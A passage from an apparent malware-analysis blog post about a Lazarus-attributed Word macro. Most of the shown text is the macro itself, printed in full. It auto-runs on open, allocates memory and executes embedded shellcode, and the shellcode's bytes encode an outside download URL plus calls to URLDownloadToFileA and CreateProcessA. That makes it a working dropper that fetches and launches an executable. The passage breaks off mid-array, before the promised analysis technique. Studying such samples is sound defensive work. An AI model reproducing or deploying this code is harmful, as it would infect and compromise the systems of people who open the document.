Macro Malware Again

In this post I’ll describe an approach on how to leverage Excel to dump dynamically created Shellcode from a Macro.

I’m always looking for new challenges for our team that they can solve in slow times. During my research I stumbled upon a nice sample in @0xffff0800 malware archive (Find the current link to the archive at 0day.coffee0). The sample itself was not that complex, getting the potential shellcode out required a technique I never used before. So let’s cut to the chase.

The sample is a Word document with a Macro. According to 0xffff0800 directory structure it’s out of Lazarus group’s tool chest (Wikipedia). The Thor APT scanner by BFK Consulting supports that assumption as it flags the Document with the yara rule  “APT_MalDoc_SharpShooter_Lazarus_Campaign_Dec18_1

VT Score2018-12-23: 39/58
AttributionLazarus Group (APT38)

The first step when dealing with potentially malicious documents for me is always using Didier Steven’s This gives me the following output.

Let’s extract the 22755 byte long Macro using the following command Strategic%20Planning%20Manager.doc -s8 -v

That shows me a Macro that is slightly obfuscated. The first five declarations look interesting though.

Attribute VB_Name = "NewMacros"
Private Declare PtrSafe Function SharpShooter Lib "msvcrt" Alias "_beginthread" (ByVal StartAddress As LongPtr, StackSize As Long, ByVal ArgList As LongPtr) As Long
Private Declare PtrSafe Function efasdv Lib "kernel32" Alias "VirtualAlloc" (ByVal address As Long, ByVal size As Long, ByVal aloctype As Long, ByVal fprot As Long) As LongPtr
Private Declare PtrSafe Function gzsdfasd Lib "kernel32" Alias "RtlMoveMemory" (ByVal dest As LongPtr, ByRef src As Any, ByVal dlen As Long) As LongPtr
Private Declare PtrSafe Function ennfiaje Lib "kernel32" Alias "LoadLibraryA" (ByVal libname As String) As LongPtr
Private Declare PtrSafe Function dnnaigej Lib "kernel32" Alias "GetProcAddress" (ByVal module As LongPtr, ByVal pname As String) As LongPtr

The Macro seems to define some strange variable names for well known functions leveraged by malware, VirtualAllocA only being one of them. We also see that there is a 2 dimensional array called llsodiplo.

llsodiplo(0) = Array(&H48, &H81, &HEC, ...)
llsodiplo(1) = Array(&H48, &HB8, &H82, ...)
llsodiplo(2) = Array(&H0, &H0, &H69, &HC6, ...)

To make reading easier I went through the code and gave the variables and functions more meaningful names. The result below shows a clearer picture of what’s going on. You can also download the full deobfuscated code here and the original macro here.

Attribute VB_Name = "NewMacros"
Private Declare PtrSafe Function SharpShooter Lib "msvcrt" Alias "_beginthread" (ByVal StartAddress As LongPtr, StackSize As Long, ByVal ArgList As LongPtr) As Long
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" Alias "VirtualAlloc" (ByVal address As Long, ByVal size As Long, ByVal aloctype As Long, ByVal fprot As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" Alias "RtlMoveMemory" (ByVal dest As LongPtr, ByRef src As Any, ByVal dlen As Long) As LongPtr
Private Declare PtrSafe Function LoadLibraryA Lib "kernel32" Alias "LoadLibraryA" (ByVal libname As String) As LongPtr
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" Alias "GetProcAddress" (ByVal module As LongPtr, ByVal pname As String) As LongPtr
Sub AutoOpen()
    On Error GoTo LoneSpirit

Dim BlockCount As Long, size_count As Long
BlockCount = 3
size_count = 3224
Dim shellcode(2) As Variant
Dim binbuffer(3224) As Byte

shellcode(0) = Array(&H48, &H81, &HEC, &HD8, &H4, &H0, &H0, &HC6, &H84, &H24, &HC8, &H1, &H0, &H0, &H75, &HC6, &H84, &H24, &HC9, &H1, &H0, &H0, &H72, &HC6, &H84, &H24, &HCA, &H1, &H0, &H0, &H6C, &HC6, &H84, &H24, &HCB, &H1, &H0, &H0, &H6D, &HC6, &H84, &H24, &HCC, &H1, &H0, &H0, &H6F, &HC6, &H84, &H24, &HCD, &H1, &H0, &H0, &H6E, &HC6, &H84, &H24, &HCE, &H1, &H0, &H0, &H2E, &HC6, &H84, &H24, &HCF, &H1, &H0, &H0, &H64, &HC6, &H84, &H24, &HD0, &H1, &H0, &H0, &H6C, &HC6, &H84, &H24, &HD1, &H1, &H0, &H0, &H6C, &HC6, &H84, &H24, &HD2, &H1, &H0, &H0, &H0, &HC6, &H84, &H24, &HB0, &H3, &H0, &H0, &H73, &HC6, &H84, &H24, &HB1, &H3, &H0, &H0, &H68, &HC6, &H84, &H24, &HB2, &H3, &H0, &H0, &H66, &HC6, &H84, &H24, &HB3, &H3, &H0, &H0, &H6F, &HC6, &H84, &H24, &HB4, &H3, &H0, &H0, &H6C, &HC6, &H84, &H24, _
&HB5, &H3, &H0, &H0, &H64, &HC6, &H84, &H24, &HB6, &H3, &H0, &H0, &H65, &HC6, &H84, &H24, &HB7, &H3, &H0, &H0, &H72, &HC6, &H84, &H24, &HB8, &H3, &H0, &H0, &H2E, &HC6, &H84, &H24, &HB9, &H3, &H0, &H0, &H64, &HC6, &H84, &H24, &HBA, &H3, &H0, &H0, &H6C, &HC6, &H84, &H24, &HBB, &H3, &H0, &H0, &H6C, &HC6, &H84, &H24, &HBC, &H3, &H0, &H0, &H0, &HC6, &H44, &H24, &H70, &H6E, &HC6, &H44, &H24, &H71, &H74, &HC6, &H44, &H24, &H72, &H64, &HC6, &H44, &H24, &H73, &H6C, &HC6, &H44, &H24, &H74, &H6C, &HC6, &H44, &H24, &H75, &H2E, &HC6, &H44, &H24, &H76, &H64, &HC6, &H44, &H24, &H77, &H6C, &HC6, &H44, &H24, &H78, &H6C, &HC6, &H44, &H24, &H79, &H0, &HC6, &H84, &H24, &H20, &H4, &H0, &H0, &H6B, &HC6, &H84, &H24, &H21, &H4, &H0, &H0, &H65, &HC6, &H84, &H24, &H22, &H4, &H0, &H0, &H72, &HC6, &H84, _
&H24, &H23, &H4, &H0, &H0, &H6E, &HC6, &H84, &H24, &H24, &H4, &H0, &H0, &H65, &HC6, &H84, &H24, &H25, &H4, &H0, &H0, &H6C, &HC6, &H84, &H24, &H26, &H4, &H0, &H0, &H33, &HC6, &H84, &H24, &H27, &H4, &H0, &H0, &H32, &HC6, &H84, &H24, &H28, &H4, &H0, &H0, &H2E, &HC6, &H84, &H24, &H29, &H4, &H0, &H0, &H64, &HC6, &H84, &H24, &H2A, &H4, &H0, &H0, &H6C, &HC6, &H84, &H24, &H2B, &H4, &H0, &H0, &H6C, &HC6, &H84, &H24, &H2C, &H4, &H0, &H0, &H0, &HC6, &H44, &H24, &H60, &H73, &HC6, &H44, &H24, &H61, &H68, &HC6, &H44, &H24, &H62, &H65, &HC6, &H44, &H24, &H63, &H6C, &HC6, &H44, &H24, &H64, &H6C, &HC6, &H44, &H24, &H65, &H33, &HC6, &H44, &H24, &H66, &H32, &HC6, &H44, &H24, &H67, &H0, &HC6, &H84, &H24, &HD8, &H3, &H0, &H0, &H4C, &HC6, &H84, &H24, &HD9, &H3, &H0, &H0, &H6F, &HC6, &H84, &H24, _
&HDA, &H3, &H0, &H0, &H61, &HC6, &H84, &H24, &HDB, &H3, &H0, &H0, &H64, &HC6, &H84, &H24, &HDC, &H3, &H0, &H0, &H4C, &HC6, &H84, &H24, &HDD, &H3, &H0, &H0, &H69, &HC6, &H84, &H24, &HDE, &H3, &H0, &H0, &H62, &HC6, &H84, &H24, &HDF, &H3, &H0, &H0, &H72, &HC6, &H84, &H24, &HE0, &H3, &H0, &H0, &H61, &HC6, &H84, &H24, &HE1, &H3, &H0, &H0, &H72, &HC6, &H84, &H24, &HE2, &H3, &H0, &H0, &H79, &HC6, &H84, &H24, &HE3, &H3, &H0, &H0, &H41, &HC6, &H84, &H24, &HE4, &H3, &H0, &H0, &H0, &HC6, &H84, &H24, &H10, &H4, &H0, &H0, &H47, &HC6, &H84, &H24, &H11, &H4, &H0, &H0, &H65, &HC6, &H84, &H24, &H12, &H4, &H0, &H0, &H74, &HC6, &H84, &H24, &H13, &H4, &H0, &H0, &H50, &HC6, &H84, &H24, &H14, &H4, &H0, &H0, &H72, &HC6, &H84, &H24, &H15, &H4, &H0, &H0, &H6F, &HC6, &H84, &H24, &H16, _
&H4, &H0, &H0, &H63, &HC6, &H84, &H24, &H17, &H4, &H0, &H0, &H41, &HC6, &H84, &H24, &H18, &H4, &H0, &H0, &H64, &HC6, &H84, &H24, &H19, &H4, &H0, &H0, &H64, &HC6, &H84, &H24, &H1A, &H4, &H0, &H0, &H72, &HC6, &H84, &H24, &H1B, &H4, &H0, &H0, &H65, &HC6, &H84, &H24, &H1C, &H4, &H0, &H0, &H73, &HC6, &H84, &H24, &H1D, &H4, &H0, &H0, &H73, &HC6, &H84, &H24, &H1E, &H4, &H0, &H0, &H0, &HC6, &H84, &H24, &H98, &H3, &H0, &H0, &H55, &HC6, &H84, &H24, &H99, &H3, &H0, &H0, &H52, &HC6, &H84, &H24, &H9A, &H3, &H0, &H0, &H4C, &HC6, &H84, &H24, &H9B, &H3, &H0, &H0, &H44, &HC6, &H84, &H24, &H9C, &H3, &H0, &H0, &H6F, &HC6, &H84, &H24, &H9D, &H3, &H0, &H0, &H77, &HC6, &H84, &H24, &H9E, &H3, &H0, &H0, &H6E, &HC6, &H84, &H24, &H9F, &H3, &H0, &H0, &H6C, &HC6, &H84, &H24, &HA0, &H3, _
&H0, &H0, &H6F, &HC6, &H84, &H24, &HA1, &H3, &H0, &H0, &H61, &HC6, &H84, &H24, &HA2, &H3, &H0, &H0, &H64, &HC6, &H84, &H24, &HA3, &H3, &H0, &H0, &H54, &HC6, &H84, &H24, &HA4, &H3, &H0, &H0, &H6F, &HC6, &H84, &H24, &HA5, &H3, &H0, &H0, &H46, &HC6, &H84, &H24, &HA6, &H3, &H0, &H0, &H69, &HC6, &H84, &H24, &HA7, &H3, &H0, &H0, &H6C, &HC6, &H84, &H24, &HA8, &H3, &H0, &H0, &H65, &HC6, &H84, &H24, &HA9, &H3, &H0, &H0, &H41, &HC6, &H84, &H24, &HAA, &H3, &H0, &H0, &H0, &HC6, &H84, &H24, &H50, &H3, &H0, &H0, &H53, &HC6, &H84, &H24, &H51, &H3, &H0, &H0, &H48, &HC6, &H84, &H24, &H52, &H3, &H0, &H0, &H47, &HC6, &H84, &H24, &H53, &H3, &H0, &H0, &H65, &HC6, &H84, &H24, &H54, &H3, &H0, &H0, &H74, &HC6, &H84, &H24, &H55, &H3, &H0, &H0, &H46, &HC6, &H84, &H24, &H56, &H3, &H0, _
&H0, &H6F, &HC6, &H84, &H24, &H57, &H3, &H0, &H0, &H6C, &HC6, &H84, &H24, &H58, &H3, &H0, &H0, &H64, &HC6, &H84, &H24, &H59, &H3, &H0, &H0, &H65, &HC6, &H84, &H24, &H5A, &H3, &H0, &H0, &H72, &HC6, &H84, &H24, &H5B, &H3, &H0, &H0, &H50, &HC6, &H84, &H24, &H5C, &H3, &H0, &H0, &H61, &HC6, &H84, &H24, &H5D, &H3, &H0, &H0, &H74, &HC6, &H84, &H24, &H5E, &H3, &H0, &H0, &H68, &HC6, &H84, &H24, &H5F, &H3, &H0, &H0, &H41, &HC6, &H84, &H24, &H60, &H3, &H0, &H0, &H0, &HC6, &H44, &H24, &H58, &H73, &HC6, &H44, &H24, &H59, &H74, &HC6, &H44, &H24, &H5A, &H72, &HC6, &H44, &H24, &H5B, &H63, &HC6, &H44, &H24, &H5C, &H70, &HC6, &H44, &H24, &H5D, &H79, &HC6, &H44, &H24, &H5E, &H0, &HC6, &H84, &H24, &HB8, &H1, &H0, &H0, &H73, &HC6, &H84, &H24, &HB9, &H1, &H0, &H0, &H74, &HC6, &H84, &H24, &HBA, _
&H1, &H0, &H0, &H72, &HC6, &H84, &H24, &HBB, &H1, &H0, &H0, &H63, &HC6, &H84, &H24, &HBC, &H1, &H0, &H0, &H61, &HC6, &H84, &H24, &HBD, &H1, &H0, &H0, &H74, &HC6, &H84, &H24, &HBE, &H1, &H0, &H0, &H0, &HC6, &H84, &H24, &H88, &H3, &H0, &H0, &H43, &HC6, &H84, &H24, &H89, &H3, &H0, &H0, &H72, &HC6, &H84, &H24, &H8A, &H3, &H0, &H0, &H65, &HC6, &H84, &H24, &H8B, &H3, &H0, &H0, &H61, &HC6, &H84, &H24, &H8C, &H3, &H0, &H0, &H74, &HC6, &H84, &H24, &H8D, &H3, &H0, &H0, &H65, &HC6, &H84, &H24, &H8E, &H3, &H0, &H0, &H50, &HC6, &H84, &H24, &H8F, &H3, &H0, &H0, &H72, &HC6, &H84, &H24, &H90, &H3, &H0, &H0, &H6F, &HC6, &H84, &H24, &H91, &H3, &H0, &H0, &H63, &HC6, &H84, &H24, &H92, &H3, &H0, &H0, &H65, &HC6, &H84, &H24, &H93, &H3, &H0, &H0, &H73, &HC6, &H84, &H24, &H94, &H3, _
&H0, &H0, &H73, &HC6, &H84, &H24, &H95, &H3, &H0, &H0, &H41, &HC6, &H84, &H24, &H96, &H3, &H0, &H0, &H0, &HC6, &H44, &H24, &H50, &H6D, &HC6, &H44, &H24, &H51, &H65, &HC6, &H44, &H24, &H52, &H6D, &HC6, &H44, &H24, &H53, &H73, &HC6, &H44, &H24, &H54, &H65, &HC6, &H44, &H24, &H55, &H74, &HC6, &H44, &H24, &H56, &H0, &HC6, &H84, &H24, &HA8, &H1, &H0, &H0, &H53, &HC6, &H84, &H24, &HA9, &H1, &H0, &H0, &H68, &HC6, &H84, &H24, &HAA, &H1, &H0, &H0, &H65, &HC6, &H84, &H24, &HAB, &H1, &H0, &H0, &H6C, &HC6, &H84, &H24, &HAC, &H1, &H0, &H0, &H6C, &HC6, &H84, &H24, &HAD, &H1, &H0, &H0, &H45, &HC6, &H84, &H24, &HAE, &H1, &H0, &H0, &H78, &HC6, &H84, &H24, &HAF, &H1, &H0, &H0, &H65, &HC6, &H84, &H24, &HB0, &H1, &H0, &H0, &H63, &HC6, &H84, &H24, &HB1, &H1, &H0, &H0, &H75, &HC6, &H84, &H24, _
&HB2, &H1, &H0, &H0, &H74, &HC6, &H84, &H24, &HB3, &H1, &H0, &H0, &H65, &HC6, &H84, &H24, &HB4, &H1, &H0, &H0, &H41, &HC6, &H84, &H24, &HB5, &H1, &H0, &H0, &H0, &H48, &HB8, &H81, &H88, &H88, &H88, &H88, &H88, &HAD, &HDE, &H48, &H89, &H84, &H24, &H80, &H0, &H0, &H0)
shellcode(1) = Array(&H48, &HB8, &H82, &H88, &H88, &H88, &H88, &H88, &HAD, &HDE, &H48, &H89, &H84, &H24, &HA0, &H1, &H0, &H0, &H48, &H8D, &H8C, &H24, &HC8, &H1, &H0, &H0, &HFF, &H94, &H24, &H80, &H0, &H0, &H0, &H48, &H8D, &H94, &H24, &H98, &H3, &H0, &H0, &H48, &H8B, &HC8, &HFF, &H94, &H24, &HA0, &H1, &H0, &H0, &H48, &H89, &H44, &H24, &H68, &H48, &H8D, &H8C, &H24, &HB0, &H3, &H0, &H0, &HFF, &H94, &H24, &H80, &H0, &H0, &H0, &H48, &H8D, &H94, &H24, &H50, &H3, &H0, &H0, &H48, &H8B, &HC8, &HFF, &H94, &H24, &HA0, &H1, &H0, &H0, &H48, &H89, &H84, &H24, &HD8, &H1, &H0, &H0, &H48, &H8D, &H4C, &H24, &H70, &HFF, &H94, &H24, &H80, &H0, &H0, &H0, &H48, &H8D, &H54, &H24, &H58, &H48, &H8B, &HC8, &HFF, &H94, &H24, &HA0, &H1, &H0, &H0, &H48, &H89, &H84, &H24, &HC0, &H1, &H0, &H0, &H48, &H8D, &H4C, &H24, &H70, &HFF, _
&H94, &H24, &H80, &H0, &H0, &H0, &H48, &H8D, &H94, &H24, &HB8, &H1, &H0, &H0, &H48, &H8B, &HC8, &HFF, &H94, &H24, &HA0, &H1, &H0, &H0, &H48, &H89, &H84, &H24, &H70, &H3, &H0, &H0, &H48, &H8D, &H8C, &H24, &H20, &H4, &H0, &H0, &HFF, &H94, &H24, &H80, &H0, &H0, &H0, &H48, &H8D, &H94, &H24, &H88, &H3, &H0, &H0, &H48, &H8B, &HC8, &HFF, &H94, &H24, &HA0, &H1, &H0, &H0, &H48, &H89, &H84, &H24, &H68, &H3, &H0, &H0, &H48, &H8D, &H4C, &H24, &H70, &HFF, &H94, &H24, &H80, &H0, &H0, &H0, &H48, &H8D, &H54, &H24, &H50, &H48, &H8B, &HC8, &HFF, &H94, &H24, &HA0, &H1, &H0, &H0, &H48, &H89, &H84, &H24, &HC8, &H3, &H0, &H0, &H48, &H8D, &H4C, &H24, &H60, &HFF, &H94, &H24, &H80, &H0, &H0, &H0, &H48, &H8D, &H94, &H24, &HA8, &H1, &H0, &H0, &H48, &H8B, &HC8, &HFF, &H94, &H24, &HA0, &H1, &H0, _
&H0, &H48, &H89, &H84, &H24, &HC0, &H3, &H0, &H0, &HC6, &H84, &H24, &HE8, &H3, &H0, &H0, &H68, &HC6, &H84, &H24, &HE9, &H3, &H0, &H0, &H74, &HC6, &H84, &H24, &HEA, &H3, &H0, &H0, &H74, &HC6, &H84, &H24, &HEB, &H3, &H0, &H0, &H70, &HC6, &H84, &H24, &HEC, &H3, &H0, &H0, &H73, &HC6, &H84, &H24, &HED, &H3, &H0, &H0, &H3A, &HC6, &H84, &H24, &HEE, &H3, &H0, &H0, &H2F, &HC6, &H84, &H24, &HEF, &H3, &H0, &H0, &H2F, &HC6, &H84, &H24, &HF0, &H3, &H0, &H0, &H77, &HC6, &H84, &H24, &HF1, &H3, &H0, &H0, &H77, &HC6, &H84, &H24, &HF2, &H3, &H0, &H0, &H77, &HC6, &H84, &H24, &HF3, &H3, &H0, &H0, &H2E, &HC6, &H84, &H24, &HF4, &H3, &H0, &H0, &H6B, &HC6, &H84, &H24, &HF5, &H3, &H0, &H0, &H69, &HC6, &H84, &H24, &HF6, &H3, &H0, &H0, &H6E, &HC6, &H84, &H24, &HF7, &H3, &H0, &H0, &H67, _
&HC6, &H84, &H24, &HF8, &H3, &H0, &H0, &H6B, &HC6, &H84, &H24, &HF9, &H3, &H0, &H0, &H6F, &HC6, &H84, &H24, &HFA, &H3, &H0, &H0, &H69, &HC6, &H84, &H24, &HFB, &H3, &H0, &H0, &H6C, &HC6, &H84, &H24, &HFC, &H3, &H0, &H0, &H2E, &HC6, &H84, &H24, &HFD, &H3, &H0, &H0, &H63, &HC6, &H84, &H24, &HFE, &H3, &H0, &H0, &H6F, &HC6, &H84, &H24, &HFF, &H3, &H0, &H0, &H6D, &HC6, &H84, &H24, &H0, &H4, &H0, &H0, &H2E, &HC6, &H84, &H24, &H1, &H4, &H0, &H0, &H73, &HC6, &H84, &H24, &H2, &H4, &H0, &H0, &H67, &HC6, &H84, &H24, &H3, &H4, &H0, &H0, &H2F, &HC6, &H84, &H24, &H4, &H4, &H0, &H0, &H71, &HC6, &H84, &H24, &H5, &H4, &H0, &H0, &H75, &HC6, &H84, &H24, &H6, &H4, &H0, &H0, &H65, &HC6, &H84, &H24, &H7, &H4, &H0, &H0, &H72, &HC6, &H84, &H24, &H8, &H4, &H0, &H0, &H79, &HC6, _
&H84, &H24, &H9, &H4, &H0, &H0, &H2E, &HC6, &H84, &H24, &HA, &H4, &H0, &H0, &H70, &HC6, &H84, &H24, &HB, &H4, &H0, &H0, &H68, &HC6, &H84, &H24, &HC, &H4, &H0, &H0, &H70, &HC6, &H84, &H24, &HD, &H4, &H0, &H0, &H0, &HC6, &H84, &H24, &H78, &H3, &H0, &H0, &H5C, &HC6, &H84, &H24, &H79, &H3, &H0, &H0, &H6D, &HC6, &H84, &H24, &H7A, &H3, &H0, &H0, &H73, &HC6, &H84, &H24, &H7B, &H3, &H0, &H0, &H73, &HC6, &H84, &H24, &H7C, &H3, &H0, &H0, &H79, &HC6, &H84, &H24, &H7D, &H3, &H0, &H0, &H6E, &HC6, &H84, &H24, &H7E, &H3, &H0, &H0, &H63, &HC6, &H84, &H24, &H7F, &H3, &H0, &H0, &H2E, &HC6, &H84, &H24, &H80, &H3, &H0, &H0, &H65, &HC6, &H84, &H24, &H81, &H3, &H0, &H0, &H78, &HC6, &H84, &H24, &H82, &H3, &H0, &H0, &H65, &HC6, &H84, &H24, &H83, &H3, &H0, &H0, &H0, &H48, &H8D, _
&H84, &H24, &HE0, &H1, &H0, &H0, &H48, &H89, &H44, &H24, &H20, &H45, &H33, &HC9, &H45, &H33, &HC0, &HBA, &H7, &H0, &H0, &H0, &H33, &HC9, &HFF, &H94, &H24, &HD8, &H1, &H0, &H0, &H48, &H8D, &H94, &H24, &H78, &H3, &H0, &H0, &H48, &H8D, &H8C, &H24, &HE0, &H1, &H0, &H0, &HFF, &H94, &H24, &H70, &H3, &H0, &H0, &HC6, &H84, &H24, &H10, &H3, &H0, &H0, &H68, &HC6, &H84, &H24, &H11, &H3, &H0, &H0, &H74, &HC6, &H84, &H24, &H12, &H3, &H0, &H0, &H74, &HC6, &H84, &H24, &H13, &H3, &H0, &H0, &H70, &HC6, &H84, &H24, &H14, &H3, &H0, &H0, &H73, &HC6, &H84, &H24, &H15, &H3, &H0, &H0, &H3A, &HC6, &H84, &H24, &H16, &H3, &H0, &H0, &H2F, &HC6, &H84, &H24, &H17, &H3, &H0, &H0, &H2F, &HC6, &H84, &H24, &H18, &H3, &H0, &H0, &H77, &HC6, &H84, &H24, &H19, &H3, &H0, &H0, &H77, &HC6, &H84, &H24, _
&H1A, &H3, &H0, &H0, &H77, &HC6, &H84, &H24, &H1B, &H3, &H0, &H0, &H2E, &HC6, &H84, &H24, &H1C, &H3, &H0, &H0, &H6B, &HC6, &H84, &H24, &H1D, &H3, &H0, &H0, &H69, &HC6, &H84, &H24, &H1E, &H3, &H0, &H0, &H6E, &HC6, &H84, &H24, &H1F, &H3, &H0, &H0, &H67, &HC6, &H84, &H24, &H20, &H3, &H0, &H0, &H6B, &HC6, &H84, &H24, &H21, &H3, &H0, &H0, &H6F, &HC6, &H84, &H24, &H22, &H3, &H0, &H0, &H69, &HC6, &H84, &H24, &H23, &H3, &H0, &H0, &H6C, &HC6, &H84, &H24, &H24, &H3, &H0, &H0, &H2E, &HC6, &H84, &H24, &H25, &H3, &H0, &H0, &H63, &HC6, &H84, &H24, &H26, &H3, &H0, &H0, &H6F, &HC6, &H84, &H24, &H27, &H3, &H0, &H0, &H6D, &HC6, &H84, &H24, &H28, &H3, &H0, &H0, &H2E, &HC6, &H84, &H24, &H29, &H3, &H0, &H0, &H73, &HC6, &H84, &H24, &H2A, &H3, &H0, &H0, &H67, &HC6, &H84, &H24, &H2B, _
&H3, &H0, &H0, &H2F, &HC6, &H84, &H24, &H2C, &H3, &H0, &H0, &H53, &HC6, &H84, &H24, &H2D, &H3, &H0, &H0, &H74, &HC6, &H84, &H24, &H2E, &H3, &H0, &H0, &H72, &HC6, &H84, &H24, &H2F, &H3, &H0, &H0, &H61, &HC6, &H84, &H24, &H30, &H3, &H0, &H0, &H74, &HC6, &H84, &H24, &H31, &H3, &H0, &H0, &H65, &HC6, &H84, &H24, &H32, &H3, &H0, &H0, &H67, &HC6, &H84, &H24, &H33, &H3, &H0, &H0, &H69, &HC6, &H84, &H24, &H34, &H3, &H0, &H0, &H63, &HC6, &H84, &H24, &H35, &H3, &H0, &H0, &H20, &HC6, &H84, &H24, &H36, &H3, &H0, &H0, &H50, &HC6, &H84, &H24, &H37, &H3, &H0, &H0, &H6C, &HC6, &H84, &H24, &H38, &H3, &H0, &H0, &H61, &HC6, &H84, &H24, &H39, &H3, &H0, &H0, &H6E, &HC6, &H84, &H24, &H3A, &H3, &H0, &H0, &H6E, &HC6, &H84, &H24, &H3B, &H3, &H0, &H0, &H69, &HC6, &H84, &H24, &H3C, &H3, _
&H0, &H0, &H6E, &HC6, &H84, &H24, &H3D, &H3, &H0, &H0, &H67, &HC6, &H84, &H24, &H3E, &H3, &H0, &H0, &H20, &HC6, &H84, &H24, &H3F, &H3, &H0, &H0, &H4D, &HC6, &H84, &H24, &H40, &H3, &H0, &H0, &H61, &HC6, &H84, &H24, &H41, &H3, &H0, &H0, &H6E, &HC6, &H84, &H24, &H42, &H3, &H0, &H0, &H61, &HC6, &H84, &H24, &H43, &H3, &H0, &H0, &H67, &HC6, &H84, &H24, &H44, &H3, &H0, &H0, &H65, &HC6, &H84, &H24, &H45, &H3, &H0, &H0, &H72, &HC6, &H84, &H24, &H46, &H3, &H0, &H0, &H2E, &HC6, &H84, &H24, &H47, &H3, &H0, &H0, &H64, &HC6, &H84, &H24, &H48, &H3, &H0, &H0, &H6F, &HC6, &H84, &H24, &H49, &H3, &H0, &H0, &H63, &HC6, &H84, &H24, &H4A, &H3, &H0, &H0, &H0, &HC6, &H84, &H24, &HF0, &H2, &H0, &H0, &H5C, &HC6, &H84, &H24, &HF1, &H2, &H0, &H0, &H53, &HC6, &H84, &H24, &HF2, &H2, &H0, _
&H0, &H74, &HC6, &H84, &H24, &HF3, &H2, &H0, &H0, &H72, &HC6, &H84, &H24, &HF4, &H2, &H0, &H0, &H61, &HC6, &H84, &H24, &HF5, &H2, &H0, &H0, &H74, &HC6, &H84, &H24, &HF6, &H2, &H0, &H0, &H65, &HC6, &H84, &H24, &HF7, &H2, &H0, &H0, &H67, &HC6, &H84, &H24, &HF8, &H2)
shellcode(2) = Array(&H0, &H0, &H69, &HC6, &H84, &H24, &HF9, &H2, &H0, &H0, &H63, &HC6, &H84, &H24, &HFA, &H2, &H0, &H0, &H20, &HC6, &H84, &H24, &HFB, &H2, &H0, &H0, &H50, &HC6, &H84, &H24, &HFC, &H2, &H0, &H0, &H6C, &HC6, &H84, &H24, &HFD, &H2, &H0, &H0, &H61, &HC6, &H84, &H24, &HFE, &H2, &H0, &H0, &H6E, &HC6, &H84, &H24, &HFF, &H2, &H0, &H0, &H6E, &HC6, &H84, &H24, &H0, &H3, &H0, &H0, &H69, &HC6, &H84, &H24, &H1, &H3, &H0, &H0, &H6E, &HC6, &H84, &H24, &H2, &H3, &H0, &H0, &H67, &HC6, &H84, &H24, &H3, &H3, &H0, &H0, &H20, &HC6, &H84, &H24, &H4, &H3, &H0, &H0, &H4D, &HC6, &H84, &H24, &H5, &H3, &H0, &H0, &H61, &HC6, &H84, &H24, &H6, &H3, &H0, &H0, &H6E, &HC6, &H84, &H24, &H7, &H3, &H0, &H0, &H61, &HC6, &H84, &H24, &H8, &H3, &H0, &H0, &H67, &HC6, &H84, &H24, &H9, &H3, &H0, &H0, _
&H65, &HC6, &H84, &H24, &HA, &H3, &H0, &H0, &H72, &HC6, &H84, &H24, &HB, &H3, &H0, &H0, &H2E, &HC6, &H84, &H24, &HC, &H3, &H0, &H0, &H64, &HC6, &H84, &H24, &HD, &H3, &H0, &H0, &H6F, &HC6, &H84, &H24, &HE, &H3, &H0, &H0, &H63, &HC6, &H84, &H24, &HF, &H3, &H0, &H0, &H0, &H48, &H8D, &H84, &H24, &H90, &H0, &H0, &H0, &H48, &H89, &H44, &H24, &H20, &H45, &H33, &HC9, &H45, &H33, &HC0, &HBA, &H1C, &H0, &H0, &H0, &H33, &HC9, &HFF, &H94, &H24, &HD8, &H1, &H0, &H0, &H48, &H8D, &H94, &H24, &HF0, &H2, &H0, &H0, &H48, &H8D, &H8C, &H24, &H90, &H0, &H0, &H0, &HFF, &H94, &H24, &H70, &H3, &H0, &H0, &H48, &HC7, &H44, &H24, &H20, &H0, &H0, &H0, &H0, &H45, &H33, &HC9, &H4C, &H8D, &H84, &H24, &HE0, &H1, &H0, &H0, &H48, &H8D, &H94, &H24, &HE8, &H3, &H0, &H0, &H33, &HC9, &HFF, &H54, _
&H24, &H68, &H89, &H84, &H24, &HD0, &H3, &H0, &H0, &H83, &HBC, &H24, &HD0, &H3, &H0, &H0, &H0, &HF, &H8C, &HA1, &H0, &H0, &H0, &HC7, &H84, &H24, &H50, &H4, &H0, &H0, &H68, &H0, &H0, &H0, &HC7, &H84, &H24, &H8C, &H4, &H0, &H0, &H1, &H0, &H0, &H0, &H33, &HC0, &H66, &H89, &H84, &H24, &H90, &H4, &H0, &H0, &H41, &HB8, &H68, &H0, &H0, &H0, &H33, &HD2, &H48, &H8D, &H8C, &H24, &H50, &H4, &H0, &H0, &HFF, &H94, &H24, &HC8, &H3, &H0, &H0, &H41, &HB8, &H18, &H0, &H0, &H0, &H33, &HD2, &H48, &H8D, &H8C, &H24, &H30, &H4, &H0, &H0, &HFF, &H94, &H24, &HC8, &H3, &H0, &H0, &H48, &H8D, &H84, &H24, &H30, &H4, &H0, &H0, &H48, &H89, &H44, &H24, &H48, &H48, &H8D, &H84, &H24, &H50, &H4, &H0, &H0, &H48, &H89, &H44, &H24, &H40, &H48, &HC7, &H44, &H24, &H38, &H0, &H0, &H0, &H0, &H48, _
&HC7, &H44, &H24, &H30, &H0, &H0, &H0, &H0, &HC7, &H44, &H24, &H28, &H0, &H0, &H0, &H0, &HC7, &H44, &H24, &H20, &H0, &H0, &H0, &H0, &H45, &H33, &HC9, &H45, &H33, &HC0, &H48, &H8D, &H94, &H24, &HE0, &H1, &H0, &H0, &H33, &HC9, &HFF, &H94, &H24, &H68, &H3, &H0, &H0, &H48, &HC7, &H44, &H24, &H20, &H0, &H0, &H0, &H0, &H45, &H33, &HC9, &H4C, &H8D, &H84, &H24, &H90, &H0, &H0, &H0, &H48, &H8D, &H94, &H24, &H10, &H3, &H0, &H0, &H33, &HC9, &HFF, &H54, &H24, &H68, &H89, &H84, &H24, &HD0, &H3, &H0, &H0, &H83, &HBC, &H24, &HD0, &H3, &H0, &H0, &H0, &H7C, &H55, &HC6, &H84, &H24, &HC0, &H4, &H0, &H0, &H6F, &HC6, &H84, &H24, &HC1, &H4, &H0, &H0, &H70, &HC6, &H84, &H24, &HC2, &H4, &H0, &H0, &H65, &HC6, &H84, &H24, &HC3, &H4, &H0, &H0, &H6E, &HC6, &H84, &H24, &HC4, &H4, &H0, &H0, _
